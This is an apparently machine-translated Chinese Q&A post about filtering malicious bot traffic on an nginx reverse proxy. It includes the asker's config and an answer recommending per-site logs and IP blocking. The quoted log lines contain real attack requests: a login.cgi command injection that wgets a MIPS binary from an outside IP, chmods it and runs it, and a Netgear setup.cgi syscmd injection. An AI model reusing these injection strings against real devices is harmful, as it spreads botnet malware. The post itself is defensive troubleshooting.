过滤nginx上的垃圾邮件HTTP流量



我有一个web服务器,它托管我的开放式互联网web应用程序。每个web应用程序都有自己的子域,例如app1.mycompanydomain.comapp2.mycompanyddomain.com.所有传入流量都会到达nginx,在那里它解析主机名并将请求代理到同一VM上的应用程序web服务器。这是我的配置:

server {
listen 80;
server_name _;
return 444;
}
server {
listen 80;
server_name *.mycompanydomain.com;
return 301 https://$host$request_uri;
}
server {
listen 443 ssl;
server_name _;
ssl_certificate /opt/cert/cert.crt;
ssl_certificate_key /opt/cert/cert.key;
return 444;
}
server {
server_name app1.mycompanydomain.com app1.mycompanydomain.com;
listen 443 ssl;
ssl_certificate /opt/cert/cert.crt;
ssl_certificate_key /opt/cert/cert.key;
location / {
proxy_pass http://localhost:9081/;
}
}
#Proxying for the rest of the applications look the same

我返回444 http状态的块旨在过滤掉我们过去经常收到的自动恶意请求。问题是,我们仍然收到相当数量的此类请求。我几乎可以肯定,这些请求中的大多数是由不知道目标主机的自动机器人发送的,但由于某种原因,我们无法识别这些请求的目标主机,因此我们无法真正阻止它们。我们试图记录$host$http_host$server_name,但它们都是空的或_。

因此2个问题:

  1. 请求主机怎么可能是空的?是否有其他方法来识别请求主机
  2. 我还可以实施哪些规则来过滤我们的恶意流量

仍在通过的恶意流量示例:

1。IP:45.222.213.31[2020年2月28日0:03:32:25-0500]请求:"GET/login.cgi?cli=aa%20A%27;wget%20http://45.148.10.194/mips%20-O%20->%20/tmp/lenn;chmod%20777%20/tmp/利昂/tmp/lionn%20dlink.mips%27$HTTP/1.1",目标:_,代码:400,正文:166,代理:"僵尸网络/2.0",时间:0.000ms

2.IP:85.93.20170[27/20220:16:29:24-0500]请求:"\x03\x00\x00/\xE0\x00\x00\x0\x00\x00Cookie:mtshash=Administr",目标:_,代码:400,正文:166,代理:"-",时间:0.132ms

3.IP:31.208.166.61[2520:25:16:07:02-0500]请求:"GET/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox&curpath=/&currentsetting.htm=1 HTTP/1.1",目标:_,代码:400,正文:166,代理:"Mozilla/5.0",时间:0.000毫秒

我很惊讶还没有人回答这个问题。由于您提供的配置,我看不出您正在为托管外部访问的每个应用程序单独定义日志文件,您应该这样做:

access_log /var/log/nginx/website1_access.log;
error_log /var/log/nginx/website1_error.log;

通过将它们分开,您可以深入每个FQDN,因为每个站点都有自己的日志文件。然后看看攻击是否有任何模式,然后决定以某种方式处理。例如,对于444的grep,你已经设置好了;切割";只显示IP,然后管道排序,然后uniq,现在你有了一个可以在防火墙上拒绝甚至阻止的IP列表。引入的风险是,如果其中一个IP实际上应该访问该网站,但却像客户的机器一样意外地攻击了它,你将如何管理阻止。为了解决这个问题,我建议将日志文件中的一个特定字符串作为合法流量,然后将这些IP作为基线进行剪切/sort/uniq。现在,在444和其他攻击的列表中查找这些IP,如果您有匹配项,请将您的发现提交给管理层,让他们决定是要阻止它们,还是向该用户或客户端提出问题,因为您应该能够通过匹配针对NGINX服务器的攻击的时间戳,在应用程序服务器上跟踪用户是谁。我将首先对此进行一次测试,看看它是如何运行一个月的,然后如果没有误报,则编写一个自动化脚本来检查有问题的IP,然后在一个单独的配置中拒绝它们,您可以将其包含在NGINX配置中。让它对攻击更敏感的另一件事是,例如,假设你在任何有效的URL中都不使用php或cgi,你也可以对它们进行grep,并应用逻辑自动阻止它们。

以下是一些也有助于自动化的项目:NGINX蜜罐&NGINX Bad Bot和Referrer Blocker

最新更新